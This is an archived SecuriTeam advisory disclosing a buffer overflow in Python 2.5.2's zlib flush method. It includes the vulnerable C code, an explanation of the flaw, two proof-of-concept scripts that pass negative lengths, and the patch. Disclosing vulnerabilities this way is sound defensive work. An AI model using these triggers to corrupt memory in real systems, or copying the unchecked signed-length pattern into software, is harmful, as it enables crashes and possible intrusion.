Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Python Zlib Extension Module Buffer Overflow

Subject: [UNIX] Python Zlib Extension Module Buffer Overflow
Date: 13 Apr 2008 12:13:30 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Python Zlib Extension Module  Buffer Overflow
------------------------------------------------------------------------


SUMMARY

The zlib extension module contains a method for flushing decompression 
streams that takes an input parameter of how much data to flush. This 
parameter is a signed integer that is not verified for sanity and is thus 
potentially negative. When passed a negative value memory is misallocated 
and then the signed integer is converted to an unsigned integer resulting 
in buffer overflow.

DETAILS

Vulnerable Systems:
 * Python version 2.5.2

Immune Systems:
 * Python version 2.5.2 (SVN)

Techical Details:
Python-2.5.2/Modules/zlibmodule.c:

761 PyDoc_STRVAR(decomp_flush__doc__,
762 "flush( [length] ) -- Return a string containing any remaining\n"
763 "decompressed data. length, if given, is the initial size of the\n"
764 "output buffer.\n"
765 "\n"
766 "The decompressor object can no longer be used after this call.");
767
768 static PyObject *
769 PyZlib_unflush(compobject *self, PyObject *args)
770 {
771     int err, length = DEFAULTALLOC;
772     PyObject * retval = NULL;
773     unsigned long start_total_out;
774
775     if (!PyArg_ParseTuple(args, "|i:flush", &length))
776         return NULL;
777     if (!(retval = PyString_FromStringAndSize(NULL, length)))
778         return NULL;
779
780
781     ENTER_ZLIB
782
783     start_total_out = self->zst.total_out;
784     self->zst.avail_out = length;
785     self->zst.next_out = (Byte *)PyString_AS_STRING(retval);
786
787     Py_BEGIN_ALLOW_THREADS
788     err = inflate(&(self->zst), Z_FINISH);
789     Py_END_ALLOW_THREADS

The PyArg_ParseTuple() function acts as a bridge between Python and C and 
initializes the length variable if one was provided. Then at line 777 this 
variable is passed as the second parameter to 
PyString_FromStringAndSize().
The second parameter to PyString_FromStringAndSize() is also signed, and 
the API call itself does not validate the parameter in non-debug builds. 
This value then has the size of a PyStringObject summed with it and is 
passed to the Python allocator which services the request. Upon 
successfull allocation the assignment at line 784 causes a sign conversion 
as the avail_out member of the zst structure is an unsigned variable. Then 
at line 785 the pointer to the memory that was allocated at line 777 is 
assigned to the next_out member of the zst structure. This culminates in 
buffer overflow at line 788 when the zlib inflate() function decompresses 
data.

Reproduction / Proof-of-Concept:
When the length variable contains a value of -24 then the allocator is 
told to reserve 0 bytes of memory, however the allocator modifies the 
request and will allocate one byte of memory. For values ranging between 
-2 and -23 a small amount of memory will be allocated due to being summed 
with the size of a PyStringObject. Both will mislead zlib into believing 
that there is several
gigabytes of space available. If an attacker controls the input stream 
then they can avoid the obvious Denial of Service simply be making the 
available input large than the output buffer, but smaller than the size 
required to hit an unmapped or read-only page of memory.

A semi-interesting note is that the value -1 will not work as when 
extracting this integer an API call mixes the return value and error code, 
with -1 indicating that an error occurred. This check is done in 
conjunction with another check and thus does not cause the routine to 
fail, but rather causes PyArg_ParseTuple() to initialize the length 
variable with a value of 1.

python-2.5.2-zlib-unflush-misallocation.py
#!/usr/bin/python

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living creature 
but man:
so that man is distinguished, not only by his reason, but also by this 
singular passion
from other animals; in whom the appetite of food, and other pleasures of 
sense, by
predominance, take away the care of knowing causes; which is a lust of the 
mind,
that by a perseverance of delight in the continual and indefatigable
generation of knowledge, exceedeth the short vehemence of any carnal 
pleasure.
"""

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg)
decompObj.flush(bad)


python-2.5.2-zlib-unflush-signedness.py:
#!/usr/bin/python

import zlib

msg = """
Society in every state is a blessing, but government even in its best 
state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are exposed 
to the same miseries by a
government, which we might expect in a country without government, our 
calamities is heightened by
reflecting that we furnish the means by which we suffer! Government, like 
dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of the bowers 
of paradise. For were
the impulses of conscience clear, uniform, and irresistibly obeyed, man 
would need no other
lawgiver; but that not being the case, he finds it necessary to surrender 
up a part of his property
to furnish means for the protection of the rest; and this he is induced to 
do by the same prudence which
in every other case advises him out of two evils to choose the least. 
Wherefore, security being the true
design and end of government, it unanswerably follows that whatever form 
thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is 
preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)
decompObj.flush(bad)

Remediation:
This bug was patched in CVS and appends the following lines between 776 
and 777:
    if (length <= 0) {
        PyErr_SetString(PyExc_ValueError, "length must be greater than 
zero");
        return NULL;
    }

Further details can be found at  <http://bugs.python.org/issue2586> 
http://bugs.python.org/issue2586 and  
<http://svn.python.org/view?rev=62235&view=rev> 
http://svn.python.org/view?rev=62235&view=rev


ADDITIONAL INFORMATION

The information has been provided by  <mailto:jferguson@ioactive.com> 
Justin Ferguson.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Python Zlib Extension Module Buffer Overflow, SecuriTeam <=